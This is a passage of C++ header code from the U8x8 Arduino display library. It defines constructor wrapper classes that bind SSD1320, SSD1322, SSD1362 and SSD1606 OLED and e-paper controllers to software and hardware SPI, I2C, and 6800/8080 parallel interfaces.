dc, reset); } }; class U8X8_SSD1320_160X132_4W_SW_SPI : public U8X8 { public: U8X8_SSD1320_160X132_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1320_160x132, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_SSD1320_160X132_4W_HW_SPI : public U8X8 { public: U8X8_SSD1320_160X132_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1320_160x132, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SSD1320_160X132_2ND_4W_HW_SPI : public U8X8 { public: U8X8_SSD1320_160X132_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1320_160x132, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SSD1320_160X132_3W_SW_SPI : public U8X8 { public: U8X8_SSD1320_160X132_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1320_160x132, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8X8_SSD1320_160X132_3W_HW_SPI : public U8X8 { public: U8X8_SSD1320_160X132_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1320_160x132, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_SSD1320_160X132_6800 : public U8X8 { public: U8X8_SSD1320_160X132_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1320_160x132, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SSD1320_160X132_8080 : public U8X8 { public: U8X8_SSD1320_160X132_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1320_160x132, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SSD1320_160X80_4W_SW_SPI : public U8X8 { public: U8X8_SSD1320_160X80_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1320_160x80, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_SSD1320_160X80_4W_HW_SPI : public U8X8 { public: U8X8_SSD1320_160X80_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1320_160x80, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SSD1320_160X80_2ND_4W_HW_SPI : public U8X8 { public: U8X8_SSD1320_160X80_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1320_160x80, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SSD1320_160X80_3W_SW_SPI : public U8X8 { public: U8X8_SSD1320_160X80_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1320_160x80, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8X8_SSD1320_160X80_3W_HW_SPI : public U8X8 { public: U8X8_SSD1320_160X80_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1320_160x80, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_SSD1320_160X80_6800 : public U8X8 { public: U8X8_SSD1320_160X80_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1320_160x80, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SSD1320_160X80_8080 : public U8X8 { public: U8X8_SSD1320_160X80_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1320_160x80, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SSD1320_160X80_SW_I2C : public U8X8 { public: U8X8_SSD1320_160X80_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1320_160x80, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8X8_SSD1320_160X80_HW_I2C : public U8X8 { public: U8X8_SSD1320_160X80_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1320_160x80, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8X8_SSD1320_160X80_2ND_HW_I2C : public U8X8 { public: U8X8_SSD1320_160X80_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1320_160x80, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8X8_SSD1322_240X128_4W_SW_SPI : public U8X8 { public: U8X8_SSD1322_240X128_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1322_240x128, u8x8_cad_011, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_SSD1322_240X128_4W_HW_SPI : public U8X8 { public: U8X8_SSD1322_240X128_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1322_240x128, u8x8_cad_011, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SSD1322_240X128_2ND_4W_HW_SPI : public U8X8 { public: U8X8_SSD1322_240X128_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1322_240x128, u8x8_cad_011, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SSD1322_240X128_3W_SW_SPI : public U8X8 { public: U8X8_SSD1322_240X128_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1322_240x128, u8x8_cad_011, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8X8_SSD1322_240X128_3W_HW_SPI : public U8X8 { public: U8X8_SSD1322_240X128_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1322_240x128, u8x8_cad_011, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_SSD1322_240X128_6800 : public U8X8 { public: U8X8_SSD1322_240X128_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1322_240x128, u8x8_cad_011, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SSD1322_240X128_8080 : public U8X8 { public: U8X8_SSD1322_240X128_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1322_240x128, u8x8_cad_011, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SSD1322_NHD_256X64_4W_SW_SPI : public U8X8 { public: U8X8_SSD1322_NHD_256X64_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1322_nhd_256x64, u8x8_cad_011, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_SSD1322_NHD_256X64_4W_HW_SPI : public U8X8 { public: U8X8_SSD1322_NHD_256X64_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1322_nhd_256x64, u8x8_cad_011, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SSD1322_NHD_256X64_2ND_4W_HW_SPI : public U8X8 { public: U8X8_SSD1322_NHD_256X64_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1322_nhd_256x64, u8x8_cad_011, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SSD1322_NHD_256X64_3W_SW_SPI : public U8X8 { public: U8X8_SSD1322_NHD_256X64_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1322_nhd_256x64, u8x8_cad_011, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8X8_SSD1322_NHD_256X64_3W_HW_SPI : public U8X8 { public: U8X8_SSD1322_NHD_256X64_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1322_nhd_256x64, u8x8_cad_011, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_SSD1322_NHD_256X64_6800 : public U8X8 { public: U8X8_SSD1322_NHD_256X64_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1322_nhd_256x64, u8x8_cad_011, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SSD1322_NHD_256X64_8080 : public U8X8 { public: U8X8_SSD1322_NHD_256X64_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1322_nhd_256x64, u8x8_cad_011, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SSD1322_NHD_128X64_4W_SW_SPI : public U8X8 { public: U8X8_SSD1322_NHD_128X64_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1322_nhd_128x64, u8x8_cad_011, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_SSD1322_NHD_128X64_4W_HW_SPI : public U8X8 { public: U8X8_SSD1322_NHD_128X64_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1322_nhd_128x64, u8x8_cad_011, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SSD1322_NHD_128X64_2ND_4W_HW_SPI : public U8X8 { public: U8X8_SSD1322_NHD_128X64_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1322_nhd_128x64, u8x8_cad_011, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SSD1322_NHD_128X64_3W_SW_SPI : public U8X8 { public: U8X8_SSD1322_NHD_128X64_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1322_nhd_128x64, u8x8_cad_011, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8X8_SSD1322_NHD_128X64_3W_HW_SPI : public U8X8 { public: U8X8_SSD1322_NHD_128X64_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1322_nhd_128x64, u8x8_cad_011, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_SSD1322_NHD_128X64_6800 : public U8X8 { public: U8X8_SSD1322_NHD_128X64_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1322_nhd_128x64, u8x8_cad_011, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SSD1322_NHD_128X64_8080 : public U8X8 { public: U8X8_SSD1322_NHD_128X64_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1322_nhd_128x64, u8x8_cad_011, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SSD1362_256X64_4W_SW_SPI : public U8X8 { public: U8X8_SSD1362_256X64_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1362_256x64, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_SSD1362_256X64_4W_HW_SPI : public U8X8 { public: U8X8_SSD1362_256X64_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1362_256x64, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SSD1362_256X64_2ND_4W_HW_SPI : public U8X8 { public: U8X8_SSD1362_256X64_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1362_256x64, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SSD1362_256X64_3W_SW_SPI : public U8X8 { public: U8X8_SSD1362_256X64_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1362_256x64, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8X8_SSD1362_256X64_3W_HW_SPI : public U8X8 { public: U8X8_SSD1362_256X64_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1362_256x64, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_SSD1362_256X64_6800 : public U8X8 { public: U8X8_SSD1362_256X64_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1362_256x64, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SSD1362_256X64_8080 : public U8X8 { public: U8X8_SSD1362_256X64_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1362_256x64, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SSD1362_256X64_SW_I2C : public U8X8 { public: U8X8_SSD1362_256X64_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1362_256x64, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8X8_SSD1362_256X64_HW_I2C : public U8X8 { public: U8X8_SSD1362_256X64_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1362_256x64, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8X8_SSD1362_256X64_2ND_HW_I2C : public U8X8 { public: U8X8_SSD1362_256X64_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1362_256x64, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8X8_SSD1362_206X36_4W_SW_SPI : public U8X8 { public: U8X8_SSD1362_206X36_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1362_206x36, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_SSD1362_206X36_4W_HW_SPI : public U8X8 { public: U8X8_SSD1362_206X36_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1362_206x36, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SSD1362_206X36_2ND_4W_HW_SPI : public U8X8 { public: U8X8_SSD1362_206X36_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1362_206x36, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SSD1362_206X36_3W_SW_SPI : public U8X8 { public: U8X8_SSD1362_206X36_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1362_206x36, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8X8_SSD1362_206X36_3W_HW_SPI : public U8X8 { public: U8X8_SSD1362_206X36_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1362_206x36, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_SSD1362_206X36_6800 : public U8X8 { public: U8X8_SSD1362_206X36_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1362_206x36, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SSD1362_206X36_8080 : public U8X8 { public: U8X8_SSD1362_206X36_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1362_206x36, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SSD1362_206X36_SW_I2C : public U8X8 { public: U8X8_SSD1362_206X36_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1362_206x36, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8X8_SSD1362_206X36_HW_I2C : public U8X8 { public: U8X8_SSD1362_206X36_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1362_206x36, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8X8_SSD1362_206X36_2ND_HW_I2C : public U8X8 { public: U8X8_SSD1362_206X36_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1362_206x36, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8X8_SSD1606_172X72_4W_SW_SPI : public U8X8 { public: U8X8_SSD1606_172X72_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1606_172x72, u8x8_cad_011, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_SSD1606_172X72_4W_HW_SPI : public U8X8 { public: U8X8_SSD1606_172X72_4W_HW_SPI(uint8_t cs, 